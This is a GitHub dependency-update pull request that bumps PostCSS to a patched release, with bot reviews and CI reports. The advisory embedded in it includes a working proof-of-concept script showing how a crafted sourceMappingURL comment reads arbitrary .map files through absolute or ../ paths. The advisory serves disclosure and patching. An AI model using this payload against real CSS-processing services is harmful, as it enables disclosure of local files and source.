Update npm package `postcss` to v8.5.23 [SECURITY] by hash-dependencies[bot] · Pull Request #9173 · hashintel/hash

hash-dependencies · 2026-08-06T15:22:30Z

This PR contains the following updates:

Package	Change	Age	Confidence
postcss (source)	`8.5.18` → `8.5.23`

PostCSS: incomplete fix of GHSA-6g55-p6wh-862q — attacker-controlled sourceMappingURL reads arbitrary .map files when `from` is unset

CVE-2026-69153 / GHSA-fxqj-rqcc-2cmp

More information

Details

Summary

The fix for GHSA-6g55-p6wh-862q added a guard in lib/previous-map.js PreviousMap.loadFile() that restricts an attacker-controlled sourceMappingURL (from a CSS comment) to a .map extension and, for untrusted maps, rejects .. traversal and absolute paths. The traversal/absolute rejection is nested inside if (cssFile) { ... }. When PostCSS is invoked without the from option, cssFile is falsy and that branch is skipped, leaving only the .map extension check.

PreviousMap is constructed by lib/input.js whenever pathAvailable && sourceMapAvailable (under Node with source-map available), independent of opts.from/opts.map (the constructor returns early only for opts.map === false). So postcss([]).process(css) on attacker CSS reaches loadFile with cssFile undefined, and an attacker /*# sourceMappingURL=/abs/path/x.map */ (or ../-traversing path) is read via readFileSync. When the file is valid JSON, its sources (filesystem paths) and sourcesContent (source contents) are disclosed in the generated source map.

Affected code (v8.5.22 — the release carrying the GHSA-6g55 fix)

// lib/previous-map.js
loadFile(path, cssFile, trusted) {
  if (!trusted && !this.unsafeMap) {
    if (!/\.map$/i.test(path)) {
      return undefined
    }
    if (cssFile) {                       // guard runs ONLY when `from` is set
      let relativePath = relative(dirname(cssFile), path)
      if (relativePath === '..' ||
          relativePath.startsWith('..' + sep) ||
          isAbsolute(relativePath)) {
        return undefined
      }
    }
  }
  this.root = dirname(path)
  if (existsSync(path)) {
    this.mapFile = path
    return readFileSync(path, 'utf-8').toString().trim()   // sink
  }
}

// loadMap(): untrusted annotation path, trusted=false; file === opts.from
} else if (this.annotation) {
  let map = this.annotation
  if (file) map = join(dirname(file), map)   // no `from` -> map stays the raw URL
  let unknown = this.loadFile(map, file, false)  // file undefined -> cssFile falsy

Proof of concept (verified on postcss 8.5.22)

const postcss = require('postcss')
const fs = require('fs')

// a 'secret' sourcemap OUTSIDE any expected tree (stand-in for another project's .map)
const secret = '/tmp/pcpoc/secret_out_of_tree.map'
fs.writeFileSync(secret, JSON.stringify({
  version: 3, sources: ['/etc/REAL_PATH_LEAK'], mappings: '', names: [],
  sourcesContent: ['TOP_SECRET_abcdef']
}))

const css = 'a{color:red}\n/*# sourceMappingURL=' + secret + ' */'
const leaks = m => m && JSON.stringify(m.toJSON ? m.toJSON() : m).includes('TOP_SECRET_abcdef')

;(async () => {
  // A) NO `from`  -> guard skipped -> arbitrary absolute .map read + disclosed
  const a = await postcss([]).process(css, { map: true })
  console.log('no from   -> leaked:', !!leaks(a.map))   // true

  // B) WITH `from` -> guard active -> blocked
  const b = await postcss([]).process(css, { from: '/tmp/pcpoc/in.css', map: true })
  console.log('with from -> leaked:', !!leaks(b.map))    // false
})()

Observed output on postcss 8.5.22:

no from   -> leaked: true      # sourcesContent 'TOP_SECRET_abcdef' AND sources '/etc/REAL_PATH_LEAK' appear in result.map
with from -> leaked: false     # guard rejects the absolute path

../ traversal (no from) also succeeds; non-.map targets (.txt, ?x=.map, #.map) are blocked by the .map check. The tested build contains the GHSA-6g55 fix (this.json = JSON.parse(...) in loadMap, consumer() uses this.json || this.text), so this is a residual of that fix.

Impact

Arbitrary .map-file read (absolute path or ../ traversal) and disclosure of the target map's sources (local filesystem paths) and sourcesContent (source) into the generated source map, for any consumer that runs PostCSS on attacker-influenced CSS without a from option and exposes result.map (online CSS playgrounds, minify/lint services, string-input build steps). Bounded to files ending in .map that parse as JSON.

Suggested fix

Apply the traversal/absolute-path rejection to the untrusted map path regardless of whether cssFile is present (resolve against process.cwd() when there is no cssFile, and reject absolute paths and .. escape in all untrusted cases), or refuse to load an untrusted external map when no base file is known.

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

postcss/postcss (postcss)

`v8.5.23`

Compare Source

Do not load source map without opts.from for security reasons.

`v8.5.22`

Compare Source

Fixed custom property losing semicolon before a comment (by @sarathfrancis90).

`v8.5.21`

Compare Source

Fixed childless at-rule losing semicolon before comment (by @sarathfrancis90).
Fixed docs (by @isker).

`v8.5.20`

Compare Source

Fixed missing space if AtRule#params is set after (by @sarathfrancis90).
Fixed mixing AST error on warnings (by @MahinAnowar).

`v8.5.19`

Compare Source

Fixed cleaning before for new nodes inserted to Root (by @MahinAnowar).

Configuration

📅 Schedule: (UTC)

Branch creation
- At any time (no schedule defined)
Automerge
- "before 4am every weekday,every weekend"

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate.

vercel · 2026-08-06T15:22:36Z

The latest updates on your projects. Learn more about Vercel for GitHub.

Project	Deployment	Updated (UTC)
hash	Error	Aug 6, 2026 3:22pm
hashdotdesign-tokens	Error	Aug 6, 2026 3:22pm
petrinaut	Error	Aug 6, 2026 3:22pm

cursor · 2026-08-06T15:22:41Z

PR Summary

Low Risk
Single resolution pin for a patch-level security fix in PostCSS; no app logic changes, with low regression risk for typical Next builds that already pass from.

Overview
Security dependency bump: the root package.json Yarn resolution for next/postcss is raised from 8.5.18 to 8.5.23, so PostCSS used on the Next.js toolchain matches a release that blocks loading external source maps when from is unset (addresses CVE-2026-69153 / GHSA-fxqj-rqcc-2cmp).

No application code changes—only the monorepo resolution entry.

^{Reviewed by Cursor Bugbot for commit d78979f. Bugbot is set up for automated code reviews on this repo. Configure here.}

cursor

Cursor Bugbot has reviewed your changes and found 1 potential issue.

^{❌ Bugbot Autofix is OFF. To automatically fix reported issues with cloud agents, enable autofix in the Cursor dashboard.}

^{Reviewed by Cursor Bugbot for commit d78979f. Configure here.}

cursor · 2026-08-06T15:26:09Z

    "jsondiffpatch": "0.7.2",
    "lodash": "4.18.1",
-    "next/postcss": "8.5.18",
+    "next/postcss": "8.5.23",


Lockfile not updated for postcss bump

High Severity

The next/postcss resolution now requests 8.5.23, but yarn.lock contains no entry for that version — only postcss@npm:8.5.18 and a range entry resolving to 8.5.22. Since installs run with --immutable, the manifest and lockfile mismatch will fail CI, and the patched postcss is never actually installed.

^{Reviewed by Cursor Bugbot for commit d78979f. Configure here.}

codspeed-hq · 2026-08-06T15:26:55Z

Merging this PR will degrade performance by 15.38%

⚠️

Different runtime environments detected

Some benchmarks with significant performance changes were compared across different runtime environments,
which may affect the accuracy of the results.

Open the report in CodSpeed to investigate

❌ 2 regressed benchmarks
✅ 96 untouched benchmarks

Warning

Please fix the performance issues or acknowledge them on CodSpeed.

Performance Changes

	Benchmark	`BASE`	`HEAD`	Efficiency
❌	`bit_matrix/dense/iter_row[64]`	140.8 ns	170 ns	-17.16%
❌	`bit_matrix/dense/iter_row[200]`	185.8 ns	215 ns	-13.57%

Tip

Investigate this regression by commenting @codspeedbot fix this regression on this PR, or directly use the CodSpeed MCP with your agent.

_{Comparing deps/js/npm-postcss-vulnerability (d78979f) with main (ea10b14)}

codecov · 2026-08-06T15:26:55Z

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 59.57%. Comparing base (c072f0d) to head (d78979f).
⚠️ Report is 1 commits behind head on main.

Additional details and impacted files

@@           Coverage Diff           @@
##             main    #9173   +/-   ##
=======================================
  Coverage   59.57%   59.57%           
=======================================
  Files        1413     1413           
  Lines      138053   138053           
  Branches     6510     6510           
=======================================
+ Hits        82241    82243    +2     
+ Misses      54770    54768    -2     
  Partials     1042     1042

Flag	Coverage Δ
blockprotocol.type-system	`40.84% <ø> (ø)`
local.claude-hooks	`0.00% <ø> (ø)`
local.harpc-client	`51.49% <ø> (ø)`
local.hash-graph-sdk	`10.02% <ø> (ø)`
rust.antsi	`2.36% <ø> (ø)`
rust.error-stack	`90.81% <ø> (ø)`
rust.harpc-codec	`84.70% <ø> (ø)`
rust.harpc-net	`96.24% <ø> (+0.03%)`	⬆️
rust.harpc-tower	`67.03% <ø> (ø)`
rust.harpc-types	`0.00% <ø> (ø)`
rust.harpc-wire-protocol	`92.23% <ø> (ø)`
rust.hash-codec	`72.76% <ø> (ø)`
rust.hash-graph-api	`7.36% <ø> (ø)`
rust.hash-graph-authorization	`62.59% <ø> (ø)`
rust.hash-graph-embeddings	`91.88% <ø> (ø)`
rust.hash-graph-postgres-store	`29.66% <ø> (ø)`
rust.hash-graph-store	`42.16% <ø> (ø)`
rust.hash-graph-temporal-versioning	`47.95% <ø> (ø)`
rust.hash-graph-validation	`84.71% <ø> (ø)`
rust.hashql-core	`78.98% <ø> (ø)`
rust.hashql-diagnostics	`72.51% <ø> (ø)`
rust.hashql-eval	`79.82% <ø> (ø)`
rust.hashql-mir	`87.92% <ø> (ø)`
rust.hashql-syntax-jexpr	`94.04% <ø> (ø)`

Flags with carried forward coverage won't be shown. Click here to find out more.

☔ View full report in Codecov by Harness.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:

❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

claude · 2026-08-10T09:31:28Z

Superseded by #9182, which bumps both postcss resolutions (this PR moves only next/postcss) and regenerates yarn.lock.

hash-dependencies · 2026-08-10T09:41:29Z

Renovate Ignore Notification

Because you closed this PR without merging, Renovate will ignore this update (8.5.23). You will get a PR once a newer version is released. To ignore this dependency forever, add it to the ignoreDeps array of your Renovate config.

If you accidentally closed this PR, or if you changed your mind: rename this PR to get a fresh replacement PR.

Update npm package postcss to v8.5.23 [SECURITY]

d78979f

hash-dependencies Bot enabled auto-merge August 6, 2026 15:22

hash-dependencies Bot assigned CiaranMn Aug 6, 2026

github-actions Bot added the area/deps Relates to third-party dependencies (area) label Aug 6, 2026

hash-dependencies Bot had a problem deploying to pull-request August 6, 2026 15:23 Failure

cursor Bot reviewed Aug 6, 2026

View reviewed changes

claude Bot mentioned this pull request Aug 10, 2026

SRE-938: Fix npm vulnerabilities from the 2026-08-10 scan #9182

Merged

4 tasks

claude Bot closed this Aug 10, 2026

auto-merge was automatically disabled August 10, 2026 09:31
Pull request was closed

hash-dependencies Bot deleted the deps/js/npm-postcss-vulnerability branch August 10, 2026 09:41

Navigation Menu

Uh oh!

Update npm package `postcss` to v8.5.23 [SECURITY] - #9173

Update npm package `postcss` to v8.5.23 [SECURITY]#9173
hash-dependencies[bot] wants to merge 1 commit into
mainfrom
deps/js/npm-postcss-vulnerability

hash-dependencies Bot commented Aug 6, 2026

Uh oh!

vercel Bot commented Aug 6, 2026

Uh oh!

cursor Bot commented Aug 6, 2026 •

edited

Loading

Uh oh!

cursor Bot left a comment

Uh oh!

cursor Bot Aug 6, 2026

Uh oh!

codspeed-hq Bot commented Aug 6, 2026 •

edited

Loading

Uh oh!

codecov Bot commented Aug 6, 2026 •

edited

Loading

Uh oh!

claude Bot commented Aug 10, 2026

Uh oh!

hash-dependencies Bot commented Aug 10, 2026

Uh oh!

Reviewers

Assignees

Labels

Milestone

Development

Uh oh!

1 participant

Uh oh!

Conversation

hash-dependencies Bot commented Aug 6, 2026

PostCSS: incomplete fix of GHSA-6g55-p6wh-862q — attacker-controlled sourceMappingURL reads arbitrary .map files when from is unset

Details

Summary

Affected code (v8.5.22 — the release carrying the GHSA-6g55 fix)

Proof of concept (verified on postcss 8.5.22)

Impact

Suggested fix

Severity

References

Release Notes

v8.5.23

v8.5.22

v8.5.21

v8.5.20

v8.5.19

Configuration

Uh oh!

vercel Bot commented Aug 6, 2026

Uh oh!

cursor Bot commented Aug 6, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

PR Summary

Uh oh!

cursor Bot left a comment

Choose a reason for hiding this comment

Uh oh!

cursor Bot Aug 6, 2026

Choose a reason for hiding this comment

Lockfile not updated for postcss bump

Uh oh!

codspeed-hq Bot commented Aug 6, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Merging this PR will degrade performance by 15.38%

Performance Changes

Uh oh!

codecov Bot commented Aug 6, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Codecov Report

Uh oh!

claude Bot commented Aug 10, 2026

Uh oh!

hash-dependencies Bot commented Aug 10, 2026

Renovate Ignore Notification

Uh oh!

Reviewers

Assignees

Labels

Milestone

Development

Uh oh!

1 participant

PostCSS: incomplete fix of GHSA-6g55-p6wh-862q — attacker-controlled sourceMappingURL reads arbitrary .map files when `from` is unset

`v8.5.23`

`v8.5.22`

`v8.5.21`

`v8.5.20`

`v8.5.19`

cursor Bot commented Aug 6, 2026 •

edited

Loading

codspeed-hq Bot commented Aug 6, 2026 •

edited

Loading

codecov Bot commented Aug 6, 2026 •

edited

Loading